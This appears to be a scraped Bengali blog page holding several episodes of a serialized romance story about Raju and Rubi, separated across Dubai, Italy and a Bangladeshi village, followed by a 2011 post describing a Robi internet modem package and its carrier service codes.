রাজু এসএমএস টা ওপেন করে দেখলো যে, এটা মোবাইল কোম্পানী থেকে এসেছে। পুরনো সীম কার্ড ওপেন করায় বোনাস হিসেবে তিনশত টাকার টক টাইম জমা হয়েছে পুরনো সীম কার্ড এ।
তিনশত টাকার টক টাইম পেয়ে রাজু মনে খুব খুশী হলো।
তারপর সে এই পুরনো সীম কার্ড এর নাম্বার টা জানারা জন্য তার বাবার মোবাইলে কল দিলো। বাবার মোবাইলটা ঘরেই ছিল।
বাবার মোবাইলটা চেক করে বুঝতে পারলো যে, এটা তার পুরনো সীম কার্ড।

বিকেলবেলা।
বাড়ির সামনের ফাকা মাঠে রাজু পাড়ার ছোট ছেট ছেলেদের সাথে ক্রিকেট খেলছিল।
রাজু ব্যাটিং করছে; এমন সময় পকেটের ভেতর থেকে তার সাইলেন্স করা মোবাইলটা ভাইব্রেশনের মাধ্যমে জানিয়ে দিলো যে, একটা মিসকল এসেছে।
অনেক দিন পর ক্রিকেট খেলে রাজু খুব মজা পাচ্ছে, তাই কে কল করেছে, তা জানার জন্য পকেট থেকে মোবাইল বের করে তা জানার প্রয়োজন মনে করলো না।
এমন সময় রাজুর মা তাকে ডাকলো।
মায়ের ডাক শোনে রাজু বাড়িতে চলে গেলো।
মায়ের সামনে গিয়ে দাড়াতেই মা বলে,' আবার খেলতে গেছিস কেন? এক বার খেলে মজা হয় নি?'
রাজু বুঝতে পারলো যে, তার মা পাচ বছর আগের ঘটনার কথা বলছে। তখন ওরা ক্রিকেট খেলতে গিয়ে মারামারি করেছিল। যার কারণে, সে দুই বছর পর্যন্ত বাড়িতে আসতে পারে নি।
তাই আজ মায়ের কথা শোনে রাজু কিছু বললো না।
এমন সময় মসজিদে মাগরিবের আজান শোনা গেলো।
রাজু ওযু করে নামাজ পড়তে মসজিদে গেলো।

নামাজ পড়ে এসে রাজু সাইদদের ঘরে আসলো।
ঘরের বাইরে থেকে রাজু কয়েকবার সাইদের নাম ধরে ডাকলো।
ঘর থেকে সাইদের মা জানালো যে, রাজু পশ্চিমপাড়া গেছে।
রাজু আর কিছু না বলে নিজের বাড়ির উদ্দেশ্যে পা বাড়ালো।
সে যখন সাইদদের বাড়ির সামনের ব্রীজে আসলে, এমন সময় কে যেনো তাকে কল করলো তার মোবাইলে। তার মোবাইলটা সাইলেন্স করা, কিন্তু ভাইব্রেশন মুডে রাখা।
তাই তার বুঝতে কষ্ট হলো না যে, তার মোবাইলে একটা কল এসেছে।
কে কল করেছে, তা দেখার জন্য রাজু মোবাইলটা হাতে নিলো।
সে দেখতে পেলো যে, তার মোবাইলে সতেরটা মিসকল এসেছে প্রাইভেট নাম্বার থেকে।
কিন্তু সে বুঝতে পারলো না যে, কে তাকে প্রাইভেট নাম্বার থেকে কল করতে পারে?'
সে একবার ভাবলো, সম্ভবত সেলিম ভাই দুবাই থেকে ফোন করছে। কিন্তু আমি তো তাকে আমার এই সিমকার্ড এর নাম্বার দেই নি। তাহলে কে করতে পারে?'
এমন সময় আবার কল আসলো তার মোবাইলে।
এটাও প্রাইভেট নাম্বার থেকে।
রাজু কলটা রিসিভ করে মোবাইলটা কানে ধরলো।
তারপর সে 'হ্যালো' বললো।
অপর প্রান্ত থেকে ছোট্ট একটা শব্দ শোনা গেলো,'হ্যালো।'
কন্ঠটা শোনে রাজু যেনো একেবারে পাথরের মতো হয়ে গেলো।
কারণ, কন্ঠটা তারই প্রিয়তমা রুবির।
যার কন্ঠটা শোনার জন্য সে এতদিন পাগলের মতো হয়েছিল।
রুবির কথা শোনে খুশীর আবেগে রাজু কেদে ফেললো।
রুবিও যে কাদচ্ছে; রাজু তা স্পষ্ট বুঝতে পারলো।
রুবি ভারী ভারী কন্ঠে বলে,'এতদিন কোথায় ছিলেন? আমি কতদিন আপনার এ নাম্বারে কল দিয়েছি, কিন্তু কখনো খোলা পাই নি।'
রাজুও কাদতে কাদতে বলে, আমিও তো তোমার নাম্বারে অনেক ট্রাই করছি, কিন্তু কখনো খোলা পাই নি। একবার যা ও পেলাম, জানলাম তুমি নাকি ইটালী চলে গেছো। তোমার ইটালীর নাম্বারটা.........। বলতে গিয়ে রাজু বুঝতে পারলো রুবির কলটা কেটে গেছে।
সে ভাবলো, হয়তো নেটওয়ার্ক প্রবলেম, তাই কেটে গেছে।

মিস কলঃ একটি ভালোবাসার কথা।-১৮

মিস কলঃ একটি ভালোবাসার কথা।-১৮

 

গত সাতদিন ধরে রুবি কাজে যাচ্ছে না।
রেষ্টোরেন্ট থেকে এলিনা কয়েকবার ফোন করেছে তাকে। কিন্তু রুবি এলিনার ফোনের জবাব দেয় নি ঠিকমতো। রুবির এরকম খেয়ালীপনা দেখে এলিনা খুব বিরক্ত হয়।
সে রুবিকে ফোন করে বলে,'তুমি যে এরকম করেছো, এতে কিন্তু বস খুব রেগে আছে।'
রুবি বলে,' তুমি বসকে জানিয়ে দাও যে, আমি আর কাজটা করবো না।'
'কি বলছো তুমি! তোমার মাথা ঠিক আছে তো?' এলিনা অবাক হয়ে বলে।
'যা বললাম, তা বলে দিও।' বলেই রুবি ফোনটা রেখে দিলো।

দু'দিন পর এলিনা আসলো রুবির সাথে দেখা করতে।
রুবিকে দেখে খুবই অবাক না হয়ে পারলো না এলিনা।
সে তাকে বলে,'একি অবস্থা তোমার! তুমি কি অসুস্থ্য নাকি?'
'কেন?' রুবি বললো।
তারপর রুবি আর এলিনা রুবির রুমে গিয়ে বসে।
এলিনা বলে,'তোমাকে এরকম রোগা দেখাচ্ছে কেন? বলো তো?'
রুবি বিছানায় বসে বলে,' কে বললো তোমাকে?'
'কেউ বলে নি। কিন্তু তোমার চেহারা দেখে আমার এ রকম মনে হচ্ছে।' বলেই এলিনা বিছানায় বসলো।
এলিনার কথা শোনে রুবি ড্রেসিং টেবিলের আয়নার সামনে গিয়ে দাড়ায়। আয়নায় নিজের চেহারা দেখে রুবি নিজেও অবাক হয়।
তারপর মনে মনে বলে,' আসলেই তো আমি অনেক শুকিয়ে গেছি।'
কিন্তু সে এলিনাকে বলে,'দেখো, আমি তো আগের মতোই আছি।'
এলিনা এসে রুবির পাশে দাড়ায়, তারপর বলে,'মিথ্যে বলো না, আমার ধারণা, তুমি কিছু একটা লুকাচ্ছো মনে হচ্ছে।'
রুবি বলে,' না তো।'
'তাহলে তুমি কাজ ছেড়ে দিচ্ছো কেন?'
'আসলে, কাজটা খুব বোরিং লাগছে আমার কাছে।'
'কিন্তু বস, তোমার বেতন ইনক্রিজ করার ইঙ্গিত দিয়েছে।'
'তারপরও......' রুবি বলে।
'এখন কিছু বলা দরকার নেই। মাথা ঠান্ডা করে ভেবে চিন্তে জবাব দিও।' এলিনা বললো।
তারপর সে বিছানায় গিয়ে বসলো।
রুবি এখনো ড্রেসিং টেবিলের সামনে বসে আছে।
এলিনা বললো,' তোমার রাজুকে খুজে বের করার একটা উপায় বের করেছি।'
'কি উপায়?' রুবি আগ্রহ নিয়ে জানতে চাইলো।
'আমি ভাবতেছি, ফেসবুকে একটা পেজ খুলবো।'
'তারপর?'
'পেজ এর ডেস্ক্রিপশনে তোমার আর রাজুর কাহিনীটা সংক্ষেপে লেখা থাকবে।'
'আমার মনে হয় না, বিষয়টা কাজে দিবে।'
এলিনা রুবির কাছে এগিয়ে এসে বলে,' কাজে দিবে মানে। ১০০% ভাগ কাজ হবে।'
'কিভাবে?'
'শোন, ধরো, রাজু যদি ফেসবুক ইউজ করে, নিশ্চয় কোন না কোনভাবে আমাদের পেজটা রাজুর নজরে আসবে। অথবা, রাজু ফেসবুক ইউজ না করে, তাহলে, যারা রাজুর ক্লাশমেট, কলিগ, তাদের কেউ না কেউ ফেসবুক ইউজ করে। আমাদের পেজটা হয়তো, তাদের কারো না কারো নজরে আসবে। আর তারা নিশ্চয় রাজুকে তোমার কথা বলবে।'
রুবি বললো,'আইডিয়াটা মন্দ না। কিন্তু কোন লাভ নেই।'
'লাভ নেই কেন?' এলিনা প্রশ্ন করে।
'রাজু এখন দুবাইতে থাকে।'
'দুবাইতে!' এলিনা চেহারাটা একটু অন্য রকম করে বলে,'এ খবর কি করে জানলে?'
'ও নাকি আমার কাজিনের কাছে ফোন করেছিল।'
'তাহলে তো তোমার সমস্যার সমাধান হয়ে গেছে।'
'না।'
'কেন?'
'আমার কাজিন ওর দুবাইয়ের নাম্বারটা সংগ্রহ করতে পারে নি।'
'তাহলে তো ভেরি ব্যাড নিউজ।' বলে এলিনা কি যেনো ভাবলো, তারপর বলে,'ও শীট! এ কথা যদি তুমি আরো কিছুদিন আগে বলতে, তাহলে হয়তো রাজুকে খুজে বের করা যেতো?'
'সেটা কিভাবে?'
এলিনা বলে,'গত জুনে আমার মাইকেল আঙ্কেল দুবাই গিয়েছিল তিনমাসের জন্য।'
(পর্ব-১৮ সমাপ্ত)

মিস কলঃ একটি ভালোবাসার কথা।-১৭

মিস কলঃ একটি ভালোবাসার কথা।-১৭


রুবির ইটালী যাবার খবর শোনার পর থেকে রাজুর মনটা ভালো নেই।
ঠিকমতো কাজে মনোযোগ দিতে পারে না।
সারাক্ষণ শুধু রুবির কথা ভাবে।
তার এ রকম অবস্থা দেখে মালিকের ড্রাইভার আলী তাকে জিজ্ঞেস করে,’ কি হয়েছে রাজু? তোমার কি মন খারাপ?’
রাজু এখন হিন্দি এবং আরবী ভাষা মোটামুটিভাবে বুঝে। তাই তার কোন  সমস্যা হলো না আলীর কথা বুঝতে। সে খুব স্বাভাবিকভাবে বলে,’ না, কিছু হয় নি?’
‘কিন্তু তোমার চেহারা দেখে তো মনে হইতেছে কিছু একটা হয়েছে।’
আলীর একথা শোনে রাজুর খুব রাগ হলো।
তাই সে খুব চিৎকার করে বলে,’ আমার কিছু হয় নি। প্লিজ আমাকে একটু একা থাকতে দাও।’
আলী আর কোন কথা বাড়ালো না।

রাজুকে এভাবে থাকতে দেখে সেলিমও বলে,’আাপনি মানুষটা কি বলেন তো? একটা মেয়ের জন্য কেন শুধু শুধু নিজেকে নষ্ট করছেন?’
রাজু কিছু না বলে চুপচাপ বসে আছে।
‘আগামী বৃহস্পতিবারে আপনাকে আবুধাবী এমিরাত প্লাজাতে নিয়ে যাবো। ঐখানে স্পেশাল জিনিস দেখলে ঐ ইটালীর মেয়ের কথা ভুলে যাবেন।’
‘ভাই প্লিজ, এখন আপনার কথা শুনতে আমার ভালো লাগতেছে না।’

রাজুর জীবনে আরেকবার একটা দুভার্গ্য আসলো। একদিন তার মালিক জানালো যে, তিনি নাকি তার ফ্যামিলি নিয়ে কিছুদিনের মধ্যে কানাডা চলে যাবেন। তিনি রাজুকে দুই মাসের সময় দিয়েছেন, অন্য জায়গা চাকুরী খোজার জন্য।
রাজু পাগলের মতো বিভিন্ন জায়গায় কাজ খুজলো।
শেষ পর্যন্ত সে কোন চাকুরী জোগাড় করতে পারলো না। তাই তাকে বাধ্য হয়ে বাংলাদেশে চলে আসতে হলো।

বাড়িতে এসে রাজু জানতে পারলো যে, তার ভাই নাকি মালয়েশিয়া চলে গেছে। রাজু বাড়িতে একদম চুপচাপ থাকে। বেশী একটা কথা বলে না কারো সাথে। শুধু কি যেনো ভাবে সারাক্ষণ। তার অবস্থা দেখে একদিন রাতে খাবার সময় তার মা তাকে প্রশ্ন করে,’ কি হইছে রে বাজান? তুই এমন চুপচাপ থাকিস কেন?’
রাজু বলে,’ কিছু হয় নি মা।’

বিদেশ থেকে আসার পর রাজু খেয়াল করলো যে, নুরপুর গ্রামের রাস্তাটা পাকা হয়ে গেছে।
এখন আগের মতো নৌকা ব্যবহার করা লাগবে না বর্ষাকালে। যেকোন সময় সিএনজিতে শহীদ নগর যাওয়া যাবে। এমন কি লালপুর যেতে নৌকা লাগবে না।
কেন না, যে বিশাল ব্রীজ তৈরী করা হয়েছে গোমতী নদীতে, তাতে যেকোন সময় হেটে হেটে লাল পুর বাজারে যাওয়া যাবে।
লালপুর ব্রীজটা হওয়াতে নুরপুর গ্রামের কিশোর ছেলেদের জন্য বিশেষ সুবিধা হয়েছে।
প্রতিদিন বিকেলবেলা নুরপুর গ্রামের ছেলেরা লালপুরে গিয়ে ক্রিকেট খেলে।
রাজুও প্রতিদিন হাটতে যায় লালপুরে।
নুরপুরের ছেলেরা প্রায় ওকে খেলতে বলে ওদের সাথে।
কিন্তু রাজু ওদের সাথে খেলতে রাজী হয় না।
সে ব্রীজের ওপর বসে থাকে আর রুবির কথা ভাবে।

গ্রামে আসার পর রাজু কথা বলার মতো একজনকেই খুজে পেয়েছে। সে হলো তারই পুরনো বন্ধু সাইদ। গ্রামের লোকেরা বলে, ওর কাছে নাকি যে কোন সমস্যার সমাধান আছে।
রাজুর বিষন্নতা দেখে সাইদের মন খারাপ হয়।
রাজুকে কিছু জিজ্ঞেস করলে, সে কিছু বলে না।
একদিন সাইদ বলে,’কি রে তুই কি কোন বিদেশী ম্যামের প্রেমে পড়ছিস নাকি?’
রাজু বলে,’তোরে আবার কে বললো এ কথা?’
‘তাহলে, মুখটাকে এমন বিড়ালের মতো গোমড়া করে রাখিস কেন সব সময়?’
‘কি যা তা বলিস?’
‘তা না হলে, কিছু তো একটা হয়েছে, যার কারণে তুই এমন চুপচাপ থাকিস সব সময়।’
রাজু আর কিছু লুকোয় না সাইদের কাছে। সব ঘটনা খুলে বলে তাকে।
সব শোনে সাইদ বলে,’ দেখ দোস্ত। যে মেয়ের কোন খবরই নাই। তার জন্য ভেবে শুধু শুধু কেন কষ্ট দিচ্ছিস নিজেকে?’
‘সত্যি কথা কি জানিস? অনেক চেষ্টা করছি, ওকে ভুলে যেতে কিন্তু পারি নি। আমার মন বলে, জীবনে অন্তত একবার হলেও ওর দেখা পাবো।’
‘তুই আসলে এখনো বোকা রয়ে গেলি রে দোস্ত। এতদিনে হয়তো ও কোন স্বামীর ঘর করছে। আর সন্তানদের নিয়ে ব্যস্ত সময় কাটাচ্ছে।’
সাইদের কথাগুলো কাটার মতো বিধে রাজুর ভেতরে। কিন্তু সে তা প্রকাশ করে না।
(পর্ব-১৭ সমাপ্ত)

রবির নতুন ইন্টারনেট মডেম ও প্যাকেজ এ যা যা আছে

রবির নতুন ইন্টারনেট মডেম ও প্যাকেজ এ যা যা আছে
কেমন আছেন সবাই? আশা করি আল্লাহ্‌র রহমতে সবাই ভাল। আমরা যারা নতুন ইন্টারনেট সংযোগ কিনতে চাই তাদের জন্য আমার এ পোস্ট। আজ আমি রবি মডেম নিয়ে আলোচনা করবো এবং জানানোর চেস্টা করবো কি কি আছে এতে। রবি তাদের গ্রাহকদের জন্য খুব আকর্ষনীয় ইন্টানেট মডাম নিয়ে এলো বাজারে। সাথে রয়েছে নতুন একটি প্যাকেজ। চলুন জানা যাক কি কি আছে এতে…
aging_WEB730X300
কি আছে রবি মোডামে …….
  • HSDPA/UMTS ২১০০ মে.হার্টজ্‌
  • AG/GPRS/GSM ১৯০০১৮০০/৯০০
  • HSDPA যাটা রেট ৩.৬ MBPS
  • SMS ও ভয়েস সার্ভিস
  • প্লাগ এ্যান্ড প্লে
  • Windows 7/Vista/XP/2000 ও Mac তে সহযে ব্যবহার করা যাবে
  • SIM লাগানোর যয়গা
এবার দেখা যাক কি আছে রবি প্যাকেজে………..
  • একটি  ইন্টারনেট মোডেম
  • একটি  প্রিপেইড সিম
  • 1 জিবি ফ্রি (ড্যাটা)
  • বান্ডলের সাথেই থাকছে ১ জিবি ড্যাটা (৩০ দিন মেয়াদের)
  • প্রতিবার ১ জিবি কিনলে আরো ১ জিবি ফ্রি পাবেন।১ জিবির দামের ২ জিবি পাবেন।
  • প্রতি ১ জিবি ড্যাটা প্যাকের মেয়াদ থাকবে ৩০ দিন।
  • অন্য কোন পরিমাণ ড্যাটা কিনলে এই বোনাস পাবেন না।
  • কেবল বান্ডল গ্রাহকদের জন্যেই এই অফার প্রযোজ্য থাকবে।
  • অফারটি শুরু হলো ১৪ এপ্রিল ২০১১ তারিখ থেকে  চলবে আগামী ৩ মাস
এবার দেখুন কি ভাবে আফারটি চালু করবেন……..
  • ১১১ ডায়াল করে কিংবা ভয়েস কল করে এই অফারটি চালু করতে পারবেন
  • *৮৪৪৪*৮৫# ডায়াল করে ১ জিবি ভলিউম প্যাক কিনতে পারবেন।
  • *২২২*৮১# ডায়াল করে আপনার ব্যালান্স জানতে পারেন।
রবি ইন্টারনেট মডেম এখন মাত্র ১৫৫০ টাকায়। ইন্টারনেট সিম সহ সকল রবি কেন্দ্রে পাওয়া যাবে। সকল  রবি গ্রাহকসেবা কেন্দ্র থেকে এই সেবা গ্রহণ করতে পারবেন।
সবাইকে ধন্যবাদ…….
এরকম আরও কিছু পোস্টঃ

COUNTER W